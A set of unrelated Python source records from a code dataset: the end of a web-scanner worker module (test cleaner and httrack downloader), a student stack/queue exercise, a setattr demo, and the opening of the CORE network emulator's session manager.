when log.error was generated (probably mail was\n # sent to admin)\n #\n # if test will be successfully removed, it is also removed from cache\n cache = {}\n\n try:\n while(True):\n try:\n # TODO: pk__not_in - may be not appropriate when there is huge\n # amount of tests - it should be tested on big DB\n log.debug('db query')\n dtest = Tests.objects.exclude(pk__in=cache.iterkeys()).filter(download_status=STATUS.success, is_deleted=False).order_by('?')[:1]\n except Exception:\n log.exception('Error while fetching tests for cleaning.')\n sleep(random.uniform(3, 5))\n continue\n try:\n if dtest:\n dtest = dtest[0]\n if dtest.pk in cache:\n if (datetime.utcnow() - cache[dtest.pk]['last']).total_seconds() < MIN_TIME_BETWEEN_CHECKS:\n continue\n if dtest.is_done():\n log.info(u\"Cleaning time for {!r}!\".format(dtest))\n dtest.clean_private_data()\n if dtest.pk in cache:\n del cache[dtest.pk]\n else:\n log.debug('{!r} is not finished yet.'.format(dtest))\n if dtest.pk in cache:\n cache[dtest.pk]['count'] += 1\n cache[dtest.pk]['last'] = datetime.utcnow()\n start_point = cache[dtest.pk]['notified'] if cache[dtest.pk]['notified'] else cache[dtest.pk]['start']\n if (cache[dtest.pk]['last'] - start_point).total_seconds() > MAX_WAITING_TIME:\n log.error(u'{!r} is not finished yet, but probably it should. It has started at {} and until now is {} seconds. There was {} try/tries of removing it'.format(\n dtest, cache[dtest.pk]['start'], (datetime.utcnow() - cache[dtest.pk]['start']).total_seconds(), cache[dtest.pk]['count']))\n else:\n log.debug(u'{!r} added to cache'.format(dtest))\n cache[dtest.pk] = {'notified': None,\n 'start': datetime.utcnow(),\n 'last': datetime.utcnow(),\n 'count': 1,\n }\n del dtest\n else:\n log.debug('Nothing to clean.')\n sleep(random.uniform(60, 120))\n\n except Exception:\n log.exception(u'Error while cleaning {!r}.'.format(dtest))\n sleep(random.uniform(10, 20))\n\n finally:\n if os.path.exists(LOCK_FILE):\n log.info('Removing LOCK_FILE: {}'.format(LOCK_FILE))\n os.unlink(LOCK_FILE)\n else:\n log.warning(u'While closing cleaner lack of LOCK_FILE ({}) detected. Someone remove it before exiting cleaner process!'.format(LOCK_FILE))\n\n\ndef downloader_process():\n setproctitle('Worker[downloader]')\n PATH_HTTRACK = getattr(settings, 'PATH_HTTRACK', '/usr/bin/httrack')\n if not os.path.isfile(PATH_HTTRACK):\n raise Exception(u'httrack is not installed in {}. Please install it or correct PATH_HTTRACK in `settings`'.format(PATH_HTTRACK))\n\n log = logging.getLogger('webscanner.utils.downloader_process')\n log.debug(u\"Starting new downloader pid={}\".format(os.getpid()))\n sleep(random.uniform(0, 5))\n\n #main program loop\n while(True):\n test = None\n try:\n #log.debug('Try to fetch some fresh stuff')\n try:\n with transaction.commit_on_success():\n test = Tests.objects.filter(download_status=STATUS.waiting)[:1].get()\n\n #this should dissallow two concurrent workers for the same commandqueue object\n testschanged = Tests.objects.filter(download_status=STATUS.waiting).filter(pk=test.pk).update(download_status=STATUS.running)\n\n if (testschanged == 0):\n log.debug(u\"Someone already is downloading this ctest({!r})\".format(test))\n sleep(random.uniform(2, 10)) # there was nothing to do - we can sleep longer\n continue\n\n test.download_status = STATUS.running\n if not test.download_path:\n test.download_path = test.private_data_path\n test.save()\n log.info(u'Downloading website {} for {!r} to {}'.format(test.url,\n test,\n test.download_path))\n\n except Tests.DoesNotExist:\n log.debug(u\"No Tests in DownloadQueue to process, sleeping.\")\n sleep(random.uniform(5, 10)) # there was nothing to do - we can sleep longer\n continue\n\n if test:\n try:\n # catch specific error\n try:\n os.makedirs(test.download_path)\n except OSError as error:\n if error.errno == 17:\n log.info(u'Directory already exists (%s). Why :)?'.format(test.download_path))\n else:\n log.exception(u'Cannot create download-folder for {!r}'.format(test))\n # the exception is re-raised because we want to set\n # download status as exception\n raise\n\n try:\n httrack_download_website(test.url, test.download_path)\n except:\n log.exception(u'Error while downloading test {!r} to {}'.format(test,\n test.download_path))\n # re-raise to set download_status\n raise\n\n test.download_status = STATUS.success\n test.save()\n log.info(u'Downloading website {} ({!r}) finished'.format(test.url,\n test))\n # TODO: maybe better way is to remove all results and start\n # test from 0 if KeyboardInterrupt occures\n # TODO: Heartbeat mechanism is probably better way\n # to handle any problems with availability of service\n except (Exception, KeyboardInterrupt) as error:\n log.exception(u\"Error while processing test {!r}\".format(test))\n test.download_status = STATUS.exception\n test.save()\n log.info(u'Removing tests which are waiting for download ({!r}).'.format(test))\n test.commands.filter(wait_for_download=True).delete()\n\n # and at the end, show user a message what happened\n Results.objects.create(test=test,\n status=RESULT_STATUS.error,\n group=RESULT_GROUP.general,\n importance=5,\n output_desc=_(\"Download status\"),\n output_full=_(\"\"\"An error occur while downloading site. Please\nmake sure that the domain exist in DNS the site is working properly, if so please contact with support.\nCurrently, a lot of tests cannot be done until the site is reachable.\"\"\"))\n else:\n sleep(random.uniform(2, 10)) # there was nothing to do - we can sleep longer\n\n # this `except` prevent downloader from crash but not prevent from\n # `losing` a Command from being check as exception\n except Exception as error:\n log.exception('Downloading ended with an exception: {}'.format(error))\n #give admins some time\n sleep(30)\n\n\ndef process_wrapper(func):\n log = logging.getLogger('%s.process_wrapper' % __name__)\n log.info(u'Starting process with \"{}\".'.format(func.__name__))\n import sys\n try:\n sys.exit(func())\n except KeyboardInterrupt:\n log.info('Process stopped by the user.')\n sys.exit(130) # 130 - owner died\n","repo_name":"neutrinus/wh-webscanner","sub_path":"webscanner/utils/processes.py","file_name":"processes.py","file_ext":"py","file_size_in_byte":16351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10759664381","text":"class Stack:\n\t\"\"\"various operations in stack implimented using linked list\"\"\"\n\tdef __init__(self):\n\t\tself.top = Node()\n\n\tdef push(self, x):\n\t\ttemp = Node(x,self.top.next)\n\t\tself.top.next = temp\n\n\tdef pop(self):\n\t\tself.top.next = self.top.next.next\n\n\tdef peek(self):\n\t\treturn self.top.next.value\n\n\tdef isempty(self):\n\t\tif self.top.next == None:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\nclass Queue:\n\tdef __init__(self):\n\t\tself.front = Node()\n\t\tself.rear = Node()\n\n\tdef enqueue(self, x):\n\n\t\tif self.front.next == None:\n\t\t temp = Node(x, self.front.next)\n\t\t self.front.next = temp\n\t\t self.rear = temp\n\t\telse:\n\t\t\ttemp = Node(x, self.rear.next)\n\t\t\tself.rear.next = temp\n\n\tdef dequeue(self):\n\t\tself.front.next = self.front.next.next\n\n\tdef Front(self):\n\t\treturn self.rear.value\n\nclass Q_wid_Stacks:\n\n\tdef __init__(self):\n\t\tself.s1 = Stack()\n\t\tself.s2 = Stack()\n\n\n\tdef enque(self, x):\n\t\tself.s1.push( x)\n\n\tdef deque(self):\n\t\tif not self.s2.isempty():\n\t\t\tself.s2.pop()\n\t\telse:\n\t\t\twhile not self.s1.isempty():\n\t\t\t\tself.s2.push( self.s1.peek())\n\t\t\t\tself.s1.pop()\n\t\t\tself.s2.pop()\n\n\tdef frnt(self):\n\t\tif not self.s2.isempty():\n\t\t\treturn self.s2.peek()\n\t\telse:\n\t\t\twhile not self.s1.isempty():\n\t\t\t\tself.s2.push( self.s1.peek() )\n\t\t\t\tself.s1.pop()\n\t\t\treturn self.s2.peek()\n\n\n\n\nclass Node:\n\tdef __init__(self, val = None, nxt = None):\n\t\tself.value = val\n\t\tself.next = nxt\n\ndef main():\n\n\ts = Stack()\n\n\tprint(\"checking stack using linked list\")\n\ts.push(1)\n\ts.push(2)\n\ts.push(3)\n\ts.push(4)\n\ts.pop()\n\tprint(s.peek())\n\n\tprint(\"checking queue using linked list\")\n\tq = Queue()\n\tq.enqueue(1)\n\tq.enqueue(2)\n\tq.enqueue(3)\n\tprint ( q.Front())\n\tq.dequeue()\n\tprint ( q.Front())\n\tq.dequeue()\n\tprint ( q.Front())\n\n\tprint(\"checking queue implemented using stack\")\n\tnew = Q_wid_Stacks()\n\tnew.enque(11)\n\tnew.enque(22)\n\tnew.enque(33)\n\tnew.enque(44)\n\tnew.deque()\n\tprint (new.frnt())\n\tnew.deque()\n\tprint (new.frnt())\n\n\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"DodiyaParth/Program_Storage","sub_path":"PROGRAMS/ACM-DSA-18-master/pratigya/Assignment-2.py","file_name":"Assignment-2.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23056633547","text":"class A(object):\n bar = 1\n\n\na = A()\nprint(a.bar)\ngetattr(a, 'bar') # 获取属性 bar 值\nsetattr(a, 'bar', 5) # 设置属性 bar 值\nprint(a.bar)\n\n\n# 如果属性不存在会创建一个新的对象属性,并对属性赋值:\nclass A():\n name = \"runoob\"\n\n\na = A()\nsetattr(a, \"age\", 28)\nprint(a.age)\n","repo_name":"wuhengyu/PythonGrammarClass","sub_path":"内置函数/setattr() 函数.py","file_name":"setattr() 函数.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12964482536","text":"\"\"\"\nsession.py: defines the Session class used by the core-daemon daemon program\nthat manages a CORE session.\n\"\"\"\n\nimport logging\nimport os\nimport pwd\nimport random\nimport shutil\nimport subprocess\nimport tempfile\nimport threading\nimport time\n\nfrom core import constants, utils\nfrom core.emane.emanemanager import EmaneManager\nfrom core.emane.nodes import EmaneNet\nfrom core.emulator.data import EventData, ExceptionData, NodeData\nfrom core.emulator.distributed import DistributedController\nfrom core.emulator.emudata import (\n IdGen,\n LinkOptions,\n NodeOptions,\n create_interface,\n link_config,\n)\nfrom core.emulator.enumerations import EventTypes, ExceptionLevels, LinkTypes, NodeTypes\nfrom core.emulator.sessionconfig import SessionConfig\nfrom core.errors import CoreError\nfrom core.location.corelocation import CoreLocation\nfrom core.location.event import EventLoop\nfrom core.location.mobility import BasicRangeModel, MobilityManager\nfrom core.nodes.base import CoreNetworkBase, CoreNode, CoreNodeBase\nfrom core.nodes.docker import DockerNode\nfrom core.nodes.ipaddress import MacAddress\nfrom core.nodes.lxd import LxcNode\nfrom core.nodes.network import (\n CtrlNet,\n GreTapBridge,\n HubNode,\n PtpNet,\n SwitchNode,\n TunnelNode,\n WlanNode,\n)\nfrom core.nodes.physical import PhysicalNode, Rj45Node\nfrom core.plugins.sdt import Sdt\nfrom core.services.coreservices import CoreServices\nfrom core.xml import corexml, corexmldeployment\nfrom core.xml.corexml import CoreXmlReader, CoreXmlWriter\n\n# maps for converting from API call node type values to classes and vice versa\nNODES = {\n NodeTypes.DEFAULT: CoreNode,\n NodeTypes.PHYSICAL: PhysicalNode,\n NodeTypes.SWITCH: SwitchNode,\n NodeTypes.HUB: HubNode,\n NodeTypes.WIRELESS_LAN: WlanNode,\n NodeTypes.RJ45: Rj45Node,\n NodeTypes.TUNNEL: TunnelNode,\n NodeTypes.EMANE: EmaneNet,\n NodeTypes.TAP_BRIDGE: GreTapBridge,\n NodeTypes.PEER_TO_PEER: PtpNet,\n NodeTypes.CONTROL_NET: CtrlNet,\n NodeTypes.DOCKER: DockerNode,\n NodeTypes.LXC: LxcNode,\n}\nNODES_TYPE = {NODES[x]: x for x in NODES}\nCTRL_NET_ID = 9001\n\n\nclass Session:\n \"\"\"\n CORE session manager.\n \"\"\"\n\n def __init__(self, _id, config=None, mkdir=True):\n \"\"\"\n Create a Session instance.\n\n :param int _id: session id\n :param dict config: session configuration\n :param bool mkdir: flag to determine if a directory should be made\n \"\"\"\n self.id = _id\n\n # define and create session directory when desired\n self.session_dir = os.path.join(tempfile.gettempdir(), f\"pycore.{self.id}\")\n if mkdir:\n os.mkdir(self.session_dir)\n\n self.name = None\n self.file_name = None\n self.thumbnail = None\n self.user = None\n self.event_loop = EventLoop()\n\n # dict of nodes: all nodes and nets\n self.node_id_gen = IdGen()\n self.nodes = {}\n self._nodes_lock = threading.Lock()\n\n # TODO: should the default state be definition?\n self.state = EventTypes.NONE.value\n self._state_time = time.monotonic()\n self._state_file = os.path.join(self.session_dir, \"state\")\n\n # hooks handlers\n self._hooks = {}\n self._state_hooks = {}\n self.add_state_hook(\n state=EventTypes.RUNTIME_STATE.value, hook=self.runtime_state_hook\n )\n\n # handlers for broadcasting information\n self.event_handlers = []\n self.exception_handlers = []\n self.node_handlers = []\n self.link_handlers = []\n self.file_handlers = []\n self.config_handlers = []\n self.shutdown_handlers = []\n\n # session options/metadata\n self.options = SessionConfig()\n if not config:\n config = {}\n for key in config:\n value = config[key]\n self.options.set_config(key, value)\n self.metadata = {}\n\n # distributed support and logic\n self.distributed = DistributedController(self)\n\n # initialize session feature helpers\n self.location = CoreLocation()\n self.mobility = MobilityManager(session=self)\n self.services = CoreServices(session=self)\n self.emane = EmaneManager(session=self)\n self.sdt = Sdt(session=self)\n\n # initialize default node services\n self.services.default_services = {\n \"mdr\": (\"zebra\", \"OSPFv3MDR\", \"IPForward\"),\n \"PC\": (\"DefaultRoute\",),\n \"prouter\": (),\n \"router\": (\"zebra\", \"OSPFv2\", \"OSPFv3\", \"IPForward\"),\n \"host\": (\"DefaultRoute\", \"SSH\"),\n }\n\n @classmethod\n def get_node_class(cls, _type):\n \"\"\"\n Retrieve the class for a given node type.\n\n :param core.emulator.enumerations.NodeTypes _type: node type to get class for\n :return: node class\n \"\"\"\n node_class = NODES.get(_type)\n if node_class is None:\n raise CoreError(f\"invalid node type: {_type}\")\n return node_class\n\n @classmethod\n def get_node_type(cls, _class):\n \"\"\"\n Retrieve node type for a given node class.\n\n :param _class: node class to get a node type for\n :return: node type\n :rtype: core.emulator.enumerations.NodeTypes\n \"\"\"\n node_type = NODES_TYPE.get(_class)\n if node_type is None:\n raise CoreError(f\"invalid node class: {_class}\")\n return node_type\n\n def _link_nodes(self, node_one_id, node_two_id):\n \"\"\"\n Convenience method for retrieving nodes within link data.\n\n :param int node_one_id: node one id\n :param int node_two_id: node two id\n :return: nodes, network nodes if present, and tunnel if present\n :rtype: tuple\n \"\"\"\n logging.debug(\n \"link message between node1(%s) and node2(%s)\", node_one_id, node_two_id\n )\n\n # values to fill\n net_one = None\n net_two = None\n\n # retrieve node one\n node_one = self.get_node(node_one_id)\n node_two = self.get_node(node_two_id)\n\n # both node ids are provided\n tunnel = self.distributed.get_tunnel(node_one_id, node_two_id)\n logging.debug(\"tunnel between nodes: %s\", tunnel)\n if isinstance(tunnel, GreTapBridge):\n net_one = tunnel\n if tunnel.remotenum == node_one_id:\n node_one = None\n else:\n node_two = None\n # physical node connected via gre tap tunnel\n elif tunnel:\n if tunnel.remotenum == node_one_id:\n node_one = None\n else:\n node_two = None\n\n if isinstance(node_one, CoreNetworkBase):\n if not net_one:\n net_one = node_one\n else:\n net_two = node_one\n node_one = None\n\n if isinstance(node_two, CoreNetworkBase):\n if not net_one:\n net_one = node_two\n else:\n net_two = node_two\n node_two = None\n\n logging.debug(\n \"link node types n1(%s) n2(%s) net1(%s) net2(%s) tunnel(%s)\",\n node_one,\n node_two,\n net_one,\n net_two,\n tunnel,\n )\n return node_one, node_two, net_one, net_two, tunnel\n\n def _link_wireless(self, objects, connect):\n \"\"\"\n Objects to deal with when connecting/disconnecting wireless links.\n\n :param list objects: possible objects to deal with\n :param bool connect: link interfaces if True, unlink otherwise\n :return: nothing\n :raises core.CoreError: when objects to link is less than 2, or no common networks are found\n \"\"\"\n objects = [x for x in objects if x]\n if len(objects) < 2:\n raise CoreError(f\"wireless link failure: {objects}\")\n logging.debug(\n \"handling wireless linking objects(%s) connect(%s)\", objects, connect\n )\n common_networks = objects[0].commonnets(objects[1])\n if not common_networks:\n raise CoreError(\"no common network found for wireless link/unlink\")\n\n for common_network, interface_one, interface_two in common_networks:\n if not isinstance(common_network, (WlanNode, EmaneNet)):\n logging.info(\n \"skipping common network that is not wireless/emane: %s\",\n common_network,\n )\n continue\n\n logging.info(\n \"wireless linking connect(%s): %s - %s\",\n connect,\n interface_one,\n interface_two,\n )\n if connect:\n common_network.link(interface_one, interface_two)\n else:\n common_network.unlink(interface_one, interface_two)\n\n def add_link(\n self,\n node_one_id,\n node_two_id,\n interface_one=None,\n interface_two=None,\n link_options=None,\n ):\n \"\"\"\n Add a link between nodes.\n\n :param int node_one_id: node one id\n :param int node_two_id: node two id\n :param core.emulator.emudata.InterfaceData interface_one: node one interface data, defaults to none\n :param core.emulator.emudata.InterfaceData interface_two: node two interface data, defaults to none\n :param core.emulator.emudata.LinkOptions link_options: data for creating link, defaults to no options\n :return: nothing\n \"\"\"\n if not link_options:\n link_options = LinkOptions()\n\n # get node objects identified by link data\n node_one, node_two, net_one, net_two, tunnel = self._link_nodes(\n node_one_id, node_two_id\n )\n\n if node_one:\n node_one.lock.acquire()\n if node_two:\n node_two.lock.acquire()\n\n try:\n # wireless link\n if link_options.type == LinkTypes.WIRELESS:\n objects = [node_one, node_two, net_one, net_two]\n self._link_wireless(objects, connect=True)\n # wired link\n else:\n # 2 nodes being linked, ptp network\n if all([node_one, node_two]) and not net_one:\n logging.info(\n \"adding link for peer to peer nodes: %s - %s\",\n node_one.name,\n node_two.name,\n )\n start = self.state > EventTypes.DEFINITION_STATE.value\n net_one = self.create_node(cls=PtpNet, start=start)\n\n # node to network\n if node_one and net_one:\n logging.info(\n \"adding link from node to network: %s - %s\",\n node_one.name,\n net_one.name,\n )\n interface = create_interface(node_one, net_one, interface_one)\n link_config(net_one, interface, link_options)\n\n # network to node\n if node_two and net_one:\n logging.info(\n \"adding link from network to node: %s - %s\",\n node_two.name,\n net_one.name,\n )\n interface = create_interface(node_two, net_one, interface_two)\n if not link_options.unidirectional:\n link_config(net_one, interface, link_options)\n\n # network to network\n if net_one and net_two:\n logging.info(\n \"adding link from network to network: %s - %s\",\n net_one.name,\n net_two.name,\n )\n interface = net_one.linknet(net_two)\n link_config(net_one, interface, link_options)\n\n if not link_options.unidirectional:\n interface.swapparams(\"_params_up\")\n link_config(\n net_two, interface, link_options, devname=interface.name\n )\n interface.swapparams(\"_params_up\")\n\n # a tunnel node was found for the nodes\n addresses = []\n if not node_one and all([net_one, interface_one]):\n addresses.extend(interface_one.get_addresses())\n\n if not node_two and all([net_two, interface_two]):\n addresses.extend(interface_two.get_addresses())\n\n # tunnel node logic\n key = link_options.key\n if key and isinstance(net_one, TunnelNode):\n logging.info(\"setting tunnel key for: %s\", net_one.name)\n net_one.setkey(key)\n if addresses:\n net_one.addrconfig(addresses)\n if key and isinstance(net_two, TunnelNode):\n logging.info(\"setting tunnel key for: %s\", net_two.name)\n net_two.setkey(key)\n if addresses:\n net_two.addrconfig(addresses)\n\n # physical node connected with tunnel\n if not net_one and not net_two and (node_one or node_two):\n if node_one and isinstance(node_one, PhysicalNode):\n logging.info(\"adding link for physical node: %s\", node_one.name)\n addresses = interface_one.get_addresses()\n node_one.adoptnetif(\n tunnel, interface_one.id, interface_one.mac, addresses\n )\n link_config(node_one, tunnel, link_options)\n elif node_two and isinstance(node_two, PhysicalNode):\n logging.info(\"adding link for physical node: %s\", node_two.name)\n addresses = interface_two.get_addresses()\n node_two.adoptnetif(\n tunnel, interface_two.id, interface_two.mac, addresses\n )\n link_config(node_two, tunnel, link_options)\n finally:\n if node_one:\n node_one.lock.release()\n if node_two:\n node_two.lock.release()\n\n def delete_link(\n self,\n node_one_id,\n node_two_id,\n interface_one_id,\n interface_two_id,\n link_type=LinkTypes.WIRED,\n ):\n \"\"\"\n Delete a link between nodes.\n\n :param int node_one_id: node one id\n :param int node_two_id: node two id\n :param int interface_one_id: interface id for node one\n :param int interface_two_id: interface id for node two\n :param core.emulator.enumerations.LinkTypes link_type: link type to delete\n :return: nothing\n :raises core.CoreError: when no common network is found for link being deleted\n \"\"\"\n # get node objects identified by link data\n node_one, node_two, net_one, net_two, _tunnel = self._link_nodes(\n node_one_id, node_two_id\n )\n\n if node_one:\n node_one.lock.acquire()\n if node_two:\n node_two.lock.acquire()\n\n try:\n # wireless link\n if link_type == LinkTypes.WIRELESS:\n objects = [node_one, node_two, net_one, net_two]\n self._link_wireless(objects, connect=False)\n # wired link\n else:\n if all([node_one, node_two]):\n # TODO: fix this for the case where ifindex[1,2] are not specified\n # a wired unlink event, delete the connecting bridge\n interface_one = node_one.netif(interface_one_id)\n interface_two = node_two.netif(interface_two_id)\n\n # get interfaces from common network, if no network node\n # otherwise get interfaces between a node and network\n if not interface_one and not interface_two:\n common_networks = node_one.commonnets(node_two)\n for (\n network,\n common_interface_one,\n common_interface_two,\n ) in common_networks:\n if (net_one and network == net_one) or not net_one:\n interface_one = common_interface_one\n interface_two = common_interface_two\n break\n\n if all([interface_one, interface_two]) and any(\n [interface_one.net, interface_two.net]\n ):\n if interface_one.net != interface_two.net and all(\n [interface_one.up, interface_two.up]\n ):\n raise CoreError(\"no common network found\")\n\n logging.info(\n \"deleting link node(%s):interface(%s) node(%s):interface(%s)\",\n node_one.name,\n interface_one.name,\n node_two.name,\n interface_two.name,\n )\n net_one = interface_one.net\n interface_one.detachnet()\n interface_two.detachnet()\n if net_one.numnetif() == 0:\n self.delete_node(net_one.id)\n node_one.delnetif(interface_one.netindex)\n node_two.delnetif(interface_two.netindex)\n elif node_one and net_one:\n interface = node_one.netif(interface_one_id)\n if interface:\n logging.info(\n \"deleting link node(%s):interface(%s) node(%s)\",\n node_one.name,\n interface.name,\n net_one.name,\n )\n interface.detachnet()\n node_one.delnetif(interface.netindex)\n elif node_two and net_one:\n interface = node_two.netif(interface_two_id)\n if interface:\n logging.info(\n \"deleting link node(%s):interface(%s) node(%s)\",\n node_two.name,\n interface.name,\n net_one.name,\n )\n interface.detachnet()\n node_two.delnetif(interface.netindex)\n finally:\n if node_one:\n node_one.lock.release()\n if node_two:\n node_two.lock.release()\n\n def update_link(\n self,\n node_one_id,\n node_two_id,\n interface_one_id=None,\n interface_two_id=None,\n link_options=None,\n ):\n \"\"\"\n Update link information between nodes.\n\n :param int node_one_id: node one id\n :param int node_two_id: node two id\n :param int interface_one_id: interface id for node one\n :param int interface_two_id: interface id for node two\n :param core.emulator.emudata.LinkOptions link_options: data to update link with\n :return: nothing\n :raises core.CoreError: when updating a wireless type link, when there is a unknown\n link between networks\n \"\"\"\n if not link_options:\n link_options = LinkOptions()\n\n # get node objects identified by link data\n node_one, node_two, net_one, net_two, _tunnel = self._link_nodes(\n node_one_id, node_two_id\n )\n\n if node_one:\n node_one.lock.acquire()\n if node_two:\n node_two.lock.acquire()\n\n try:\n # wireless link\n if link_options.type == LinkTypes.WIRELESS.value:\n raise CoreError(\"cannot update wireless link\")\n else:\n if not node_one and not node_two:\n if net_one and net_two:\n # modify link between nets\n interface = net_one.getlinknetif(net_two)\n upstream = False\n\n if not interface:\n upstream = True\n interface = net_two.getlinknetif(net_one)\n\n if not interface:\n raise CoreError(\"modify unknown link between nets\")\n\n if upstream:\n interface.swapparams(\"_params_up\")\n link_config(\n net_one, interface, link_options, devname=interface.name\n )\n interface.swapparams(\"_params_up\")\n else:\n link_config(net_one, interface, link_options)\n\n if not link_options.unidirectional:\n if upstream:\n link_config(net_two, interface, link_options)\n else:\n interface.swapparams(\"_params_up\")\n link_config(\n net_two,\n interface,\n link_options,\n devname=interface.name,\n )\n interface.swapparams(\"_params_up\")\n else:\n raise CoreError(\"modify link for unknown nodes\")\n elif not node_one:\n # node1 = layer 2node, node2 = layer3 node\n interface = node_two.netif(interface_two_id)\n link_config(net_one, interface, link_options)\n elif not node_two:\n # node2 = layer 2node, node1 = layer3 node\n interface = node_one.netif(interface_one_id)\n link_config(net_one, interface, link_options)\n else:\n common_networks = node_one.commonnets(node_two)\n if not common_networks:\n raise CoreError(\"no common network found\")\n\n for net_one, interface_one, interface_two in common_networks:\n if (\n interface_one_id is not None\n and interface_one_id != node_one.getifindex(interface_one)\n ):\n continue\n\n link_config(\n net_one,\n interface_one,\n link_options,\n interface_two=interface_two,\n )\n if not link_options.unidirectional:\n link_config(\n net_one,\n interface_two,\n link_options,\n interface_two=interface_one,\n )\n finally:\n if node_one:\n node_one.lock.release()\n if node_two:\n node_two.lock.release()\n\n def add_node(self, _type=NodeTypes.DEFAULT, _id=None, options=None, _cls=None):\n \"\"\"\n Add a node to the session, based on the provided node data.\n\n :param core.emulator.enumerations.NodeTypes _type: type of node to create\n :param int _id: id for node, defaults to None for generated id\n :param core.emulator.emudata.NodeOptions options: data to create node with\n :param class _cls: optional custom class to use for a created node\n :return: created node\n :raises core.CoreError: when an invalid node type is given\n \"\"\"\n # validate node type, get class, or throw error\n if _cls is None:\n node_class = self.get_node_class(_type)\n else:\n node_class = _cls\n\n # set node start based on current session state, override and check when rj45\n start = self.state > EventTypes.DEFINITION_STATE.value\n enable_rj45 = self.options.get_config(\"enablerj45\") == \"1\"\n if _type == NodeTypes.RJ45 and not enable_rj45:\n start = False\n\n # determine node id\n if not _id:\n while True:\n _id = self.node_id_gen.next()\n if _id not in self.nodes:\n break\n\n # generate name if not provided\n if not options:\n options = NodeOptions()\n name = options.name\n if not name:\n name = f\"{node_class.__name__}{_id}\"\n\n # verify distributed server\n server = self.distributed.servers.get(options.server)\n if options.server is not None and server is None:\n raise CoreError(f\"invalid distributed server: {options.server}\")\n\n # create node\n logging.info(\n \"creating node(%s) id(%s) name(%s) start(%s)\",\n node_class.__name__,\n _id,\n name,\n start,\n )\n if _type in [NodeTypes.DOCKER, NodeTypes.LXC]:\n node = self.create_node(\n cls=node_class,\n _id=_id,\n name=name,\n start=start,\n image=options.image,\n server=server,\n )\n else:\n node = self.create_node(\n cls=node_class, _id=_id, name=name, start=start, server=server\n )\n\n # set node attributes\n node.icon = options.icon\n node.canvas = options.canvas\n node.opaque = options.opaque\n\n # set node position and broadcast it\n self.set_node_position(node, options)\n\n # add services to needed nodes\n if isinstance(node, (CoreNode, PhysicalNode, DockerNode, LxcNode)):\n node.type = options.model\n logging.debug(\"set node type: %s\", node.type)\n self.services.add_services(node, node.type, options.services)\n\n # ensure default emane configuration\n if isinstance(node, EmaneNet) and options.emane:\n self.emane.set_model_config(_id, options.emane)\n # set default wlan config if needed\n if isinstance(node, WlanNode):\n self.mobility.set_model_config(_id, BasicRangeModel.name)\n\n # boot nodes after runtime, CoreNodes, Physical, and RJ45 are all nodes\n is_boot_node = isinstance(node, CoreNodeBase) and not isinstance(node, Rj45Node)\n if self.state == EventTypes.RUNTIME_STATE.value and is_boot_node:\n self.write_nodes()\n self.add_remove_control_interface(node=node, remove=False)\n self.services.boot_services(node)\n\n return node\n\n def edit_node(self, node_id, options):\n \"\"\"\n Edit node information.\n\n :param int node_id: id of node to update\n :param core.emulator.emudata.NodeOptions options: data to update node with\n :return: True if node updated, False otherwise\n :rtype: bool\n :raises core.CoreError: when node to update does not exist\n \"\"\"\n # get node to update\n node = self.get_node(node_id)\n\n # set node position and broadcast it\n self.set_node_position(node, options)\n\n # update attributes\n node.canvas = options.canvas\n node.icon = options.icon\n\n def set_node_position(self, node, options):\n \"\"\"\n Set position for a node, use lat/lon/alt if needed.\n\n :param node: node to set position for\n :param core.emulator.emudata.NodeOptions options: data for node\n :return: nothing\n \"\"\"\n # extract location values\n x = options.x\n y = options.y\n lat = options.lat\n lon = options.lon\n alt = options.alt\n\n # check if we need to generate position from lat/lon/alt\n has_empty_position = all(i is None for i in [x, y])\n has_lat_lon_alt = all(i is not None for i in [lat, lon, alt])\n using_lat_lon_alt = has_empty_position and has_lat_lon_alt\n if using_lat_lon_alt:\n x, y, _ = self.location.getxyz(lat, lon, alt)\n\n # set position and broadcast\n if None not in [x, y]:\n node.setposition(x, y, None)\n\n # broadcast updated location when using lat/lon/alt\n if using_lat_lon_alt:\n self.broadcast_node_location(node)\n\n def broadcast_node_location(self, node):\n \"\"\"\n Broadcast node location to all listeners.\n\n :param core.nodes.base.NodeBase node: node to broadcast location for\n :return: nothing\n \"\"\"\n node_data = NodeData(\n message_type=0,\n id=node.id,\n x_position=node.position.x,\n y_position=node.position.y,\n )\n self.broadcast_node(node_data)\n\n def start_mobility(self, node_ids=None):\n \"\"\"\n Start mobility for the provided node ids.\n\n :param list[int] node_ids: nodes to start mobility for\n :return: nothing\n \"\"\"\n self.mobility.startup(node_ids)\n\n def is_active(self):\n \"\"\"\n Determine if this session is considered to be active. (Runtime or Data collect states)\n\n :return: True if active, False otherwise\n \"\"\"\n result = self.state in {\n EventTypes.RUNTIME_STATE.value,\n EventTypes.DATACOLLECT_STATE.value,\n }\n logging.info(\"session(%s) checking if active: %s\", self.id, result)\n return result\n\n def open_xml(self, file_name, start=False):\n \"\"\"\n Import a session from the EmulationScript XML format.\n\n :param str file_name: xml file to load session from\n :param bool start: instantiate session if true, false otherwise\n :return: nothing\n \"\"\"\n logging.info(\"opening xml: %s\", file_name)\n\n # clear out existing session\n self.clear()\n\n if start:\n state = EventTypes.CONFIGURATION_STATE\n else:\n state = EventTypes.DEFINITION_STATE\n self.set_state(state)\n self.name = os.path.basename(file_name)\n self.file_name = file_name\n\n # write out xml file\n CoreXmlReader(self).read(file_name)\n\n # start session if needed\n if start:\n self.instantiate()\n\n def save_xml(self, file_name):\n \"\"\"\n Export a session to the EmulationScript XML format.\n\n :param str file_name: file name to write session xml to\n :return: nothing\n \"\"\"\n CoreXmlWriter(self).write(file_name)\n\n def add_hook(self, state, file_name, source_name, data):\n \"\"\"\n Store a hook from a received file message.\n\n :param int state: when to run hook\n :param str file_name: file name for hook\n :param str source_name: source name\n :param data: hook data\n :return: nothing\n \"\"\"\n # hack to conform with old logic until updated\n state = f\":{state}\"\n self.set_hook(state, file_name, source_name, data)\n\n def add_node_file(self, node_id, source_name, file_name, data):\n \"\"\"\n Add a file to a node.\n\n :param int node_id: node to add file to\n :param str source_name: source file name\n :param str file_name: file name to add\n :param str data: file data\n :return: nothing\n \"\"\"\n\n node = self.get_node(node_id)\n\n if 